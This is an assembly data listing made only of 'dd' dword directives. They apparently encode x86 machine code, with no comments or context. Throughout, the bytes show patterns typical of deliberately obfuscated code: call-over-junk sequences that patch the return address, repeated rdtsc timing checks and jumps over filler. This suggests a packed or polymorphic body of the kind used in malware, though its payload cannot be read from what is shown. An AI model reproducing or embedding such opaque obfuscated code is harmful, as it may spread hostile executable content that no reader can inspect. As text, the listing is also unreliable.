		dd 0BD8BE7C6h, 7E01455h, 0FD03B61h, 1183h, 0F9B58900h
		dd 0E907E028h, 52h, 33D98501h, 8D8B07E0h, 7E016A1h, 0BE8h
		dd 0E9CCEE00h, 30509B0h, 0AB4FCDDEh, 5FDF8B66h,	0E9D38166h
		dd 1E18372h, 24840Fh, 95890000h, 7E03015h, 16A1A583h, 89FE07E0h
		dd 0E0197185h, 0AD958907h, 8B07E022h, 0E020D9BDh, 0E907h
		dd 0B58D0000h, 7E3E9D7h, 1A519D29h, 6A07E0h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 7DC35141h, 0FFDA8B66h
		dd 0E018A995h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0ED9D8B94h, 0B907E01Fh
		dd 7AFh, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Dh,	5C35040h, 42612573h, 5E48E020h,	0F9B70F16h, 6AFCE183h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 0EAE1C355h, 0E0213A2Fh, 0FCF8B70Fh, 6890Fh
		dd 0C3810000h, 43285F23h, 0B8h,	559D0900h, 8907E015h, 0E030819Dh
		dd 0FD22B07h, 0C88h, 68C0F00h, 0F000000h, 80h, 0C233AD00h
		dd 0D003E8D1h, 7504E983h, 0F1BD8BF4h, 6A07E029h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0A57EC353h, 0EB1E9CF0h, 8D8912D7h, 7E01331h,	0DFAB70Fh
		dd 88h,	23759D0Bh, 958B07E0h, 7E01815h,	1B85BD89h, 8D8B07E0h
		dd 7E02049h, 33F19D8Bh,	8B5007E0h, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	4D1BD01h, 0BD8B07E0h, 7E01579h
		dd 2F699D89h, 0BD8307E0h, 7E012F5h, 9A840F00h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 74DEC353h, 0FAC8B9Fh, 681h, 0B58D8900h, 0B807E02Ah
		dd 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 95C35545h
		dd 7C9AFF3Ah, 0FB40654h, 18Dh, 6060F500h, 898D89FCh, 6107E014h
		dd 8D615F52h, 0E04EE88Dh, 519D2B07h, 0FF07E02Eh, 56006AE1h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0CE38AF21h, 1DEF8166h, 0C5BD83EBh, 7E022h, 531840Fh
		dd 0BD830000h, 7E022C5h, 3F840F01h, 6A000005h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 44ECC353h, 81660A88h, 838AE0CBh, 0E022C5BDh,	860F0307h
		dd 4D8h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 19h,	0EEC35545h, 0AC2A32FDh,	0FA8B6036h, 6AD98C66h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 5F28C357h, 0EE9A6h, 0CE980000h, 55F9DB3h
		dd 1DFC1899h, 0DF284C51h, 6A04E180h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 381DC356h
		dd 8106CBBh, 59D0155h, 0A07E01Eh, 83840FC9h, 6A000001h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0BB22C352h, 0E6029C14h, 0F5BD8963h, 6607E004h
		dd 64BED381h, 3399858Bh, 0B58907E0h, 7E02919h, 31898533h
		dd 6A07E0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0EDA472C3h, 0F506C79h, 8Fh, 9D895B00h, 7E01B49h
		dd 24048950h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 14h,	34C35747h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0F49929C3h, 291C7F03h
		dd 0E01B61B5h, 4E807h, 3FF0000h, 0F88A001Fh, 15830F50h
		dd 57000000h, 0DE8h, 2FBEC600h,	3DE8408Eh, 0C1B7CB11h
		dd 5B5F0879h, 424448Bh,	0A5C55DBFh, 0E9008B16h,	5, 30216A68h
		dd 2444890Fh, 0A45CBB04h, 6A5844C0h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 60D8C355h
		dd 2DBD2357h, 5B07E016h, 7AD6E381h, 95FF1463h, 7E021CDh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 9BC35343h
		dd 92A6B875h, 898F3780h, 0E3CBAD85h, 1BD78007h,	241E9h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0B77ADC93h, 56D60656h, 858BE117h, 7E3CBA5h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0A3C35545h
		dd 3603DDF4h, 0C7F52Eh,	18h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 1CC35646h, 0DBC9D483h, 3FE0D81h
		dd 0CBA9B58Bh, 6A07E3h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0E9313CC3h, 1A7075E3h, 33458529h
		dd 0AE807E0h, 3E000000h, 0EE0B307Dh, 0E4672A0Fh, 0C595011Bh
		dd 5B07E000h, 5F9858Bh,	0D98B07E0h, 9D8B0689h, 7E00189h
		dd 8BD8B70Fh, 0E0339985h, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 378D19A2h
		dd 0B501A2F2h, 7E011E9h, 4689FA8Ah, 53006A04h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0DA3EB89Dh
		dd 0EE98Ch, 0ED670000h,	0AC10346Ah, 96191DB4h, 0A10E20Fh
		dd 831A60BBh, 0FA8B664Eh, 0DF8B6696h, 85899650h, 7E01E19h
		dd 0CBA5B5FFh, 4E807E3h, 0FF000000h, 0BB001F03h, 2EAA9B21h
		dd 24448B50h, 0B7C7BF04h, 8B3C0Bh, 5A525060h, 78B96059h
		dd 662FC77Bh, 616539BBh, 24448961h, 1CBF6604h, 6A58BCh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 81E5F1C3h, 256F0CF7h, 0EE9E325h, 8C000000h, 1E794F6Bh
		dd 896D37BEh, 0F9C52D0Ah, 0AD858D05h, 6A07E3CBh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0DCB7C356h, 0FE8B90FEh, 0C850F50h, 0E9000000h, 7, 0E9A6911Ch
		dd 90F8C69Ah, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 16h,	0E7C35141h, 8B66C4C9h, 0CD95FFF8h, 6A07E021h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 5776C356h, 51BD8B29h, 6607E01Bh, 6A61DF8Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 2F7BC357h, 7F303145h, 79BD8923h, 0BF07E032h,	6784FCA0h
		dd 22C585C7h, 307E0h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 0F0A57EC3h, 81EB1E9Ch
		dd 7489A7C3h, 0DE951h, 8A7D0000h, 0FC5AA7E8h, 54F633C7h
		dd 83A21600h, 0E3CBADBDh, 840F0007h, 30h, 0E9D9BF0Fh, 43h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 61C35040h
		dd 0FF883E0h, 66FC8294h, 36D8F781h, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 193AC353h, 1225BD89h, 9D8B07E0h, 7E02671h, 6810Fh, 0B5890000h
		dd 7E011BDh, 22C5BD83h,	0F0307E0h, 41185h, 2BF98B00h, 0E03025BDh
		dd 0ADBD8307h, 7E3CBh, 3FC840Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 8BD5E4C3h
		dd 0E023419Dh, 0ADB5FF07h, 5307E3CBh, 13DBD8Bh,	895B07E0h
		dd 0E0199D8Dh, 0A995FF07h, 6A07E01Dh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0B7A7C356h
		dd 0BEC7C1FDh, 77EFD7BEh, 8BF9BF0Fh, 0E3CBA1B5h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0DF4AAB5Ah, 106C7E6h, 6A000100h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0C629C353h
		dd 47BAC7CDh, 0ABDF81A3h, 9607ADA0h, 0F5087B3h,	8Eh, 6A9600h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 813E28C3h, 0A4D6D8DFh, 0ADB5FF65h, 0FF07E3CBh, 0E0301195h
		dd 1D9D8B07h, 8B07E005h, 0E3CBA1B5h, 50006A07h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0DB819BE9h
		dd 7BF2BA82h, 8E12BBFh,	0D1858B4Dh, 6A07E022h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0DB46C351h, 89F8B604h, 0C486h, 0F3805300h, 958B5F31h
		dd 7E01815h, 2840Fh, 0CAB30000h, 8904C283h, 0E025899Dh
		dd 20508907h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 15h,	0C9C35242h, 0D4858D42h,	6A07E3E0h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0EA44C353h
		dd 2C520B74h, 0B886892Fh, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0C8E0C357h,	0E175DA91h
		dd 6A52C57Ch, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 3AFE92ECh, 0CBADB5FFh, 0FFFC07E3h
		dd 0E02A9995h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0DE5775C8h, 0F01A639h
		dd 0E850DBBFh, 9, 9ABBE8DEh, 1850440h, 5FFE8B45h, 8B243489h
		dd 0ADB5FFDEh, 6607E3CBh, 95FFFB8Bh, 7E028E9h, 0A1852957h
		dd 5F07E028h, 28E1BD83h, 0F0007E0h, 6D84h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 7395387Ch, 8BD02735h, 0E013E59Dh, 830F5007h,	1Fh, 11E95250h
		dd 0EF000000h, 805189A2h, 3FAD42BCh, 540B26E1h,	8877C407h
		dd 8B66310Fh, 89585AFEh, 6A2434h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0B5FF68C3h, 7E3CBADh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0CEC35545h
		dd 2B42DAACh, 0F6CEA4Ch, 3595FF58h, 6A07E030h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 9C61C352h, 0A42B3AD9h, 9D641B84h, 0AE9h, 0BCF26100h
		dd 360C10D4h, 80CC2281h, 0B5FF01C7h, 7E3CBADh, 0AE9h, 0FABD6900h
		dd 4708809Dh, 0FF53E9C1h, 0E001B995h, 52006A07h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
		dd 89E7F8ABh, 0E015419Dh, 31BD8307h, 207E007h, 5F840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 182EB0C3h, 8B664D7Bh, 8B84B3D8h, 0E0203985h
		dd 0E3816607h, 0C6DA6Eh, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 752945D7h, 0F40BBFEh
		dd 8Eh,	16BB6600h, 3D85C760h, 7E004h, 80000000h, 0CCE90DE3h
		dd 89FFFFF2h, 0E007D59Dh, 0FC18B07h, 38Ch, 0DF8B6600h
		dd 13C9858Dh, 665207E0h, 2B5BDE8Bh, 0E028B99Dh,	60609007h
		dd 11E8h, 3CED7900h, 2BCFAFCEh,	2E09A5Bh, 589C2A82h, 615FA4C0h
		dd 61C88B66h, 0BB525050h, 20272305h, 0BE9310Fh,	64000000h
		dd 42912EEh, 92C34B5Ch,	585AF0DBh, 0A840F90h, 0F000000h
		dd 484h, 0EFBF6600h, 8B006A7Fh,	0E004C59Dh, 6A006A07h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0AE2C355h, 29F53BC8h, 9D315485h, 7E020A9h
		dd 640C858Dh, 6A07E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0E666BDC3h, 159D894Fh, 8307E004h
		dd 6A05C0h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0E9256BC3h, 0C212715Fh, 0BD09E401h, 7E02395h
		dd 0D8C2BB50h, 48938E5h, 85296024h, 7E01F5Dh, 2C3DBD89h
		dd 6A6107E0h, 9D895000h, 7E01E71h, 6A006A5Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0E530C357h, 3810Fh, 8B660000h, 4195FFD9h, 0E807E034h
		dd 7, 46606776h, 665107D7h, 0F5BF98Bh, 8D8DFBBFh, 7E3A393h
		dd 110DBD29h, 0D1FF07E0h, 0CE9h, 0E7FF7D00h, 7430A050h
		dd 2A43A2D9h, 0B1BD8353h, 107E016h, 96850Fh, 8F0F0000h
		dd 5, 58E38166h, 6A026ABBh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 385FC352h, 0FC6E2F1Eh
		dd 6820Fh, 0EB810000h, 1244BC55h, 12E990h, 57830000h, 38CECF0Ch
		dd 67E4B3E7h, 0B215088Eh, 1AA6B020h, 14E950h, 9CDD0000h
		dd 49069375h, 0F7E0D5E4h, 98F7FD25h, 5BDF956Ch,	6A90E81Eh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0F459C353h, 803F5443h, 95FFCFD7h,	7E02A99h
		dd 0DA7E9h, 0E800h, 815D0000h, 0E46416EDh, 0F9B70F07h
		dd 6AF8BF0Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 35FBC351h, 0A915393Fh,	8D158BB6h
		dd 0E3946385h, 0ED9D8B07h, 5007E026h, 0BF565250h, 4BE72018h
		dd 50310F5Fh, 0F5B5652h, 5AF98B31h, 89585A58h, 6A2404h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 66F97CC3h, 0FF64FE8Bh, 35h, 41B58900h, 6407E026h, 2589h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0E02D27C3h, 0D61BEE5Fh, 0FFDBB70Fh, 0E020FD85h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 147A6346h, 0F381663Dh, 0FF6A7A7Ch, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 22C35343h, 636F7A64h
		dd 44876ADh, 59B5FF4Dh,	0E907E00Fh, 0Dh, 0B4FE0463h, 462A6C97h
		dd 6EBA3CD9h, 95FFFCDAh, 7E03389h, 128E9h, 918D0900h, 8B07E033h
		dd 0E02AFD9Dh, 0F900B007h, 11E8h, 0D1004500h, 79A60EBh
		dd 0DC3AA07Ah, 0E32C6653h, 6E8EC8Eh, 75000000h,	0D74EB5A6h
		dd 0E65B5FFFh, 0AD37BB70h, 71E4522Eh, 3C81CF80h, 0E2830F61h
		dd 0F000000h, 0B60FD9B7h, 0D9D8BC8h, 0BA07E005h, 6, 0BF0FC18Bh
		dd 4E8C1F9h, 17C59589h,	0F76607E0h, 0E99D8BE2h,	2B07E001h
		dd 0C5BD8BC8h, 8B07E000h, 0D6BB66D1h, 16E9C4h, 0AE80000h
		dd 0A9000000h, 59532F6h, 0F2366F07h, 59B589ABh,	5F07E026h
		dd 12FD858Bh, 0B58907E0h, 7E03039h, 8907C083h, 0E00F51B5h
		dd 0C08307h, 830FD03Bh,	35h, 13E8h, 0FD6C2000h,	5FAF1EB8h
		dd 1CA7BA27h, 0C4FFA4F4h, 5556B42Fh, 0CE9h, 0A4707F00h
		dd 47E5076Bh, 85039A94h, 42E95B96h, 33000000h, 0E004F5BDh
		dd 0BD8D8B07h, 0B307E008h, 0AE9BBh, 4E570000h, 524FFEA1h
		dd 76914C68h, 0F01E183h, 1C84h,	0BDA58300h, 0FE07E008h
		dd 2840Fh, 32B30000h, 12FD9589h, 8EB307E0h, 0E9h, 18B58D00h
		dd 0E907E3F3h, 0Ch, 0D50A814Eh,	4BF756F6h, 0C71332DCh
		dd 8D89006Ah, 7E0204Dh,	18A995FFh, 8E0F07E0h, 6, 154D9531h
		dd 0FE807E0h, 0AB000000h, 0CB4FEDCAh, 884C3E5h,	5E7F353Bh
		dd 0BD8B9E83h, 7E025C9h, 0E69B95Fh, 85890000h, 7E03275h
		dd 66FCE183h, 0FCBBEFBBh, 6AC02Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 29AB0FC3h, 0D3BB6623h
		dd 0BBD22B57h, 26DB7FA7h, 0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 11800Fh, 0CE90000h, 0F0000000h, 0B4255CDEh, 2B67E54h
		dd 0E9B17908h, 7, 5C5FDE05h, 0E8D5F0D4h, 12h, 463877F4h
		dd 1F6E797Fh, 648579F4h, 0FBC57757h, 9D8920AEh,	7E025FDh
		dd 880D5Fh, 6AB70000h, 1815958Bh, 8B6607E0h, 498D8BD8h
		dd 6A07E020h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 6903C352h, 0E1B58943h,	5007E023h
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	56006A58h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 6043E021h, 5DBD0B42h, 0E907E020h, 0Dh, 864F5254h
		dd 2C3EB2F3h, 0E11EF29Bh, 81666057h, 0BFA4CBD9h, 6CBBE4C2h
		dd 0F5BD8361h, 7E012h, 77840Fh,	0BD8B0000h, 7E00169h, 0B8h
		dd 37C38100h, 8D4EFF6Ch, 0E04EE88Dh, 53006A07h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 105EFA64h
		dd 0A39068D6h, 0FFDF8BF5h, 55006AE1h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0E61B9B0h
		dd 0E9F57DECh, 11h, 47AC1104h, 0E2E1E335h, 6853BEA2h, 5A2A1807h
		dd 0C5BD8321h, 7E022h, 47D840Fh, 81660000h, 2912CEE7h
		dd 0E02A598Dh, 0C5BD8307h, 107E022h, 480840Fh, 89600000h
		dd 0E010619Dh, 1DB58B07h, 6107E021h, 22C5BD83h,	0F0307E0h
		dd 42F86h, 0EDBD8B00h, 6007E02Fh, 6AD98C66h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 68D4C357h, 4E1808Eh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 21C35141h, 0FC90ABDh,	19B84h,	57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 6A42139Fh, 0BD095033h, 7E017B1h, 4850F5Bh, 66000000h
		dd 8B5BD5BBh, 0E0339985h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0E8CD9FE6h
		dd 10h,	7A298084h, 32927872h, 0CE9973B9h, 0A1A659E2h, 5840Fh
		dd 81660000h, 5B25E3E3h, 31898533h, 6A07E0h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0FD1712C3h
		dd 3BD38166h, 0EE85074h, 48000000h, 0BD657C81h,	0BDA8689Eh
		dd 96F7BB63h, 0EE8ADh, 2FCB0000h, 0BAF8E855h, 64B21132h
		dd 788360CAh, 5B5B5B56h, 6A240489h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 3E11C351h
		dd 3E936DF1h, 6A28C903h, 23EF8100h, 663FED54h, 0E88745BFh
		dd 4, 1F03FFh, 0DCCEBF66h, 24448B50h, 60008B04h, 7E8h
		dd 7B966D00h, 81059753h, 310F5250h, 6159585Ah, 4244489h
		dd 0F5BF5250h, 0F7F454Fh, 5A506031h, 310F5250h,	5A61585Ah
		dd 6A5858h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0AD1E86C3h, 95FF0CC3h, 7E021CDh, 1D259D2Bh
		dd 858907E0h, 7E3CBADh,	0E9F88B66h, 1DBh, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 18h, 17C35747h, 39548BDh
		dd 0CBA5858Bh, 6A07E3h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 22FECAC3h, 9A6434BBh, 1800C715h
		dd 8B000000h, 0E3CBA9B5h, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0FBB70F0Ch
		dd 5F9858Bh, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0F7D39CC3h, 2F22A29Eh, 896D5582h
		dd 0E01BB98Dh, 8973B707h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0FB1CD60h
		dd 0F0B7FABFh, 3399858Bh, 6A07E0h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 32304EC3h, 6A044689h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0F941C352h, 8954A8B9h, 0E00471B5h, 0E8605007h
		dd 14h,	1B18CE6Fh, 0E42156A8h, 3C1C6F2Dh, 0E9C702EFh, 0A9010129h
		dd 94795BBBh, 98B55865h, 24348961h, 2C9DB589h, 0B5FF07E0h
		dd 7E3CBA5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	97C35040h, 8B86977Eh, 48BB7C5h,	0A820Fh, 880F0000h
		dd 4, 98C2BB66h, 0B820CB81h, 6668262Dh,	8BAD4FDBh, 240481DFh
		dd 52CF2899h, 0AD858DF8h, 6A07E3CBh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0BB29C356h
		dd 42C61495h, 38C0Fh, 8B660000h, 48950F9h, 51858924h, 0FF07E02Eh
		dd 0E021CD95h, 99953107h, 6107E026h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 0ABC35747h,	2960509Ah, 0E012359Dh
		dd 15958907h, 6107E01Dh, 22C585C7h, 307E0h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 71E2F6C3h, 83EA853Fh, 0E3CBADBDh, 840F0007h,	24h, 86AABF50h
		dd 0E95B6DECh, 33h, 13E9h, 0AC966400h, 85422482h, 0D8033FFFh
		dd 0FB393D80h, 0B3C05DA2h, 110C3050h, 1114400h,	3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0FC52C353h,	0C7B2B21Fh
		dd 445BD8Bh, 8E907E0h, 3A000000h, 2E21409Dh, 833E517Fh
		dd 0E022C5BDh, 850F0307h, 43Bh,	3A7ADB81h, 0BD833848h
		dd 7E3CBADh, 28840F00h,	0F000004h, 0CCB7DFB7h, 0CBADB5FFh
		dd 0BD8B07E3h, 7E01A49h, 0A995FFFCh, 0BF07E01Dh, 1AB91CF4h
		dd 0CBA1B58Bh, 6A07E3h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 0EE9686C3h, 2A858589h, 6C707E0h
		dd 10001h, 459BD8Bh, 0F9607E0h,	88h, 8B605000h,	2850FD0h
		dd 8B000000h, 6A9661F3h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 1BD4C356h, 59A90E94h
		dd 0EE95413h, 0FC000000h, 92ABC20Ch, 0AFA07593h, 8DBB81C1h
		dd 0ADB5FFD1h, 6A07E3CBh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0A190C352h,	0FCA75A28h
		dd 3D9D0302h, 0FF07E034h, 0E0301195h, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 0CD67B9CEh, 958D89DEh, 8B07E016h, 0E3CBA1B5h, 0C9BB6607h
		dd 0D1858B75h, 6607E022h, 0A008CB81h, 0C48689h,	0BD290000h
		dd 7E01AA9h, 1815958Bh,	6A07E0h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 562944C3h, 0F5A63570h
		dd 4C283B6h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	50C35141h, 0E8ABAD36h, 6, 69097C85h, 0B589FA19h
		dd 7E03045h, 2050895Bh,	10B9CF81h, 890F710Eh, 6, 3185B529h
		dd 858D07E0h, 7E3E0D4h,	33519D89h, 868907E0h, 0B8h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0BBC35242h, 0E1F855FFh
		dd 66A8E169h, 6AB804BFh, 0A99D0300h, 8B07E015h,	0E01A299Dh
		dd 0ADB5FF07h, 0F907E3CBh, 2A9995FFh, 6A07E0h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 50A987C3h, 10E8h, 74FD900h, 9B7AB819h, 77303930h, 72936124h
		dd 8B666077h, 890FC2h, 61000000h, 2434895Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 6CC35646h, 0AA260EBBh
		dd 0B5FF1297h, 7E3CBADh, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 18h, 0E7C35747h, 502408E7h
		dd 28E995FFh, 1FB707E0h, 28E1BD83h, 0F0007E0h, 8184h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 4C2C0919h, 70582CB5h, 8D8960E7h, 7E02F29h, 6870Fh, 0B58B0000h
		dd 7E01CADh, 9675B761h,	13E9h, 0B987E100h, 0BF82E93Eh
		dd 0B665E7FAh, 1508EBFh, 68ABF06Ah, 96FA8B50h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 66C35141h, 5E9C993h
		dd 0C1000000h, 5614257Ch, 0B5FFFC8Ah, 7E3CBADh,	2F0D8D89h
		dd 95FF07E0h, 7E03035h,	1CADB531h, 0B5FF07E0h, 7E3CBADh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0BDC35343h
		dd 0AA79032Eh, 66F03970h, 0B758F781h, 1B995FFh,	6A07E0h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0AAF37EC3h, 8BC7F7F2h, 0E01A0D9Dh, 31BD8307h, 207E007h
		dd 7D840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 190424h, 56460000h, 0F7F7A2C3h, 57995AB2h, 18890Fh
		dd 12E80000h, 0E3000000h, 7B858609h, 6FBDFCB8h,	0F33985ACh
		dd 0BB47026Fh, 8B5F5F1Bh, 39858BFAh, 6A07E020h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 5C08C356h, 15E54DAFh, 38D0FFCh, 66000000h, 0C6DA8Bh
		dd 15858900h, 0C707E007h, 0E0043D85h, 7, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 0CCBBED6Eh, 0E958C5C4h, 0FFFFF35Eh, 6AC18Bh,	3E857h
